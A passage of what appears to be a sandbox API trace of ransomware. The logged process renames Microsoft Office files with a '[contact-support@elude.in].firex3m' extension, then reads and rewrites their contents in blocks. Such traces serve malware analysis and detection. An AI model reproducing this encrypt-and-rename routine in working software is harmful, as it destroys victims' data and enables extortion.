lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x741b010*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.237] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.237] WriteFile (in: hFile=0x6d4, lpBuffer=0x742640f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x742640f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.237] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.237] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.237] CloseHandle (hObject=0x6d4) returned 1 [0180.238] GetProcessHeap () returned 0x630000 [0180.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x741b010 | out: hHeap=0x630000) returned 1 [0180.238] GetProcessHeap () returned 0x630000 [0180.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x740fbe0 | out: hHeap=0x630000) returned 1 [0180.238] GetProcessHeap () returned 0x630000 [0180.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0180.238] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3160589e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11684, dwReserved0=0xc507496, dwReserved1=0x740fbd8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0180.238] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0180.238] Sleep (dwMilliseconds=0x1) [0182.352] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr", len=0x45 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr") returned 1 [0182.352] GetProcessHeap () returned 0x630000 [0182.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a78) returned 0x707d3d0 [0182.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0182.353] CloseHandle (hObject=0x6d0) returned 1 [0182.353] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d638, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeAccess.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE0B0C~1.FIR")) returned 0x6d5400 [0182.354] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0182.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0182.355] GetProcessHeap () returned 0x630000 [0182.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0182.355] GetProcessHeap () returned 0x630000 [0182.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73aa630 [0182.355] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.355] ReadFile (in: hFile=0x6d0, lpBuffer=0x739f200, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0188.508] GetProcessHeap () returned 0x630000 [0188.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0190.752] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.752] WriteFile (in: hFile=0x6d0, lpBuffer=0x73aa630*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa630*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.752] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.753] WriteFile (in: hFile=0x6d0, lpBuffer=0x73b5a2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5a2f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.753] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.753] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.754] CloseHandle (hObject=0x6d0) returned 1 [0190.754] GetProcessHeap () returned 0x630000 [0190.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73aa630 | out: hHeap=0x630000) returned 1 [0190.754] GetProcessHeap () returned 0x630000 [0190.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739f200 | out: hHeap=0x630000) returned 1 [0190.754] GetProcessHeap () returned 0x630000 [0190.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0190.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37a4ea4c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d65c, dwReserved0=0xc507496, dwReserved1=0x739f1f8, cFileName="TellMeAccess.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE0B0C~1.FIR")) returned 0x6d52c0 [0190.754] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0190.754] Sleep (dwMilliseconds=0x1) [0190.758] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG", len=0x4f | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG") returned 1 [0190.758] GetProcessHeap () returned 0x630000 [0190.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3c10) returned 0x74656a8 [0190.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.dwg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0190.762] CloseHandle (hObject=0x6d0) returned 1 [0190.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.dwg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4986ebe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4986ebe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4986ebe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x72a6d, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="BLDGPLAN.DWG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLDGPL~1.FIR")) returned 0x6d5440 [0190.765] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0190.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.dwg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0190.767] GetProcessHeap () returned 0x630000 [0190.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0190.767] GetProcessHeap () returned 0x630000 [0190.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0190.767] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.767] ReadFile (in: hFile=0x6d0, lpBuffer=0x70ce4d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.946] GetProcessHeap () returned 0x630000 [0194.946] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0194.947] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.947] WriteFile (in: hFile=0x6d0, lpBuffer=0x7393dd0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.332] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.332] WriteFile (in: hFile=0x6d0, lpBuffer=0x739f1cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f1cf*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.333] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.333] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.334] CloseHandle (hObject=0x6d0) returned 1 [0195.341] GetProcessHeap () returned 0x630000 [0195.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0195.341] GetProcessHeap () returned 0x630000 [0195.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0195.341] GetProcessHeap () returned 0x630000 [0195.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0196.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4986ebe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4986ebe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a5ff5ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x72a91, dwReserved0=0xc507496, dwReserved1=0x70ce4d0, cFileName="BLDGPLAN.DWG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLDGPL~1.FIR")) returned 0x6d5240 [0196.298] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0196.298] Sleep (dwMilliseconds=0x1) [0196.320] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt", len=0x4d | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt") returned 1 [0196.320] GetProcessHeap () returned 0x630000 [0196.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4788) returned 0x7133a90 [0196.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tasks.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0196.422] CloseHandle (hObject=0x4b8) returned 1 [0196.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tasks.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cfc, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="Tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TASKSA~1.FIR")) returned 0x6d5040 [0196.424] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0196.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0196.424] GetProcessHeap () returned 0x630000 [0196.424] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9d01) returned 0x70c30a8 [0196.424] GetProcessHeap () returned 0x630000 [0196.424] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9d01) returned 0x70ccdb8 [0196.424] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.424] ReadFile (in: hFile=0x4b8, lpBuffer=0x70c30a8, nNumberOfBytesToRead=0x9ce0, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesRead=0x37fff0c*=0x9ce0, lpOverlapped=0x0) returned 1 [0204.905] GetProcessHeap () returned 0x630000 [0204.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0204.905] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.905] WriteFile (in: hFile=0x4b8, lpBuffer=0x70ccdb8*, nNumberOfBytesToWrite=0x9ce0, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ccdb8*, lpNumberOfBytesWritten=0x37fff0c*=0x9ce0, lpOverlapped=0x0) returned 1 [0204.905] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.905] WriteFile (in: hFile=0x4b8, lpBuffer=0x70d6a97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d6a97*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0204.905] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.905] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0204.906] CloseHandle (hObject=0x4b8) returned 1 [0204.906] GetProcessHeap () returned 0x630000 [0204.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ccdb8 | out: hHeap=0x630000) returned 1 [0204.906] GetProcessHeap () returned 0x630000 [0204.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0204.906] GetProcessHeap () returned 0x630000 [0204.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0204.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40152f2c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9d20, dwReserved0=0xc507496, dwReserved1=0x70c30a0, cFileName="Tasks.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TASKSA~1.FIR")) returned 0x6d5200 [0204.907] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0204.907] Sleep (dwMilliseconds=0x1) [0206.975] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM", len=0x70 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM") returned 1 [0206.975] GetProcessHeap () returned 0x630000 [0206.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c5c) returned 0x6fe4288 [0206.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0206.998] CloseHandle (hObject=0x6a8) returned 1 [0206.998] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BOLDSTRI.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BOLDST~2.FIR")) returned 0x6d5280 [0207.008] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 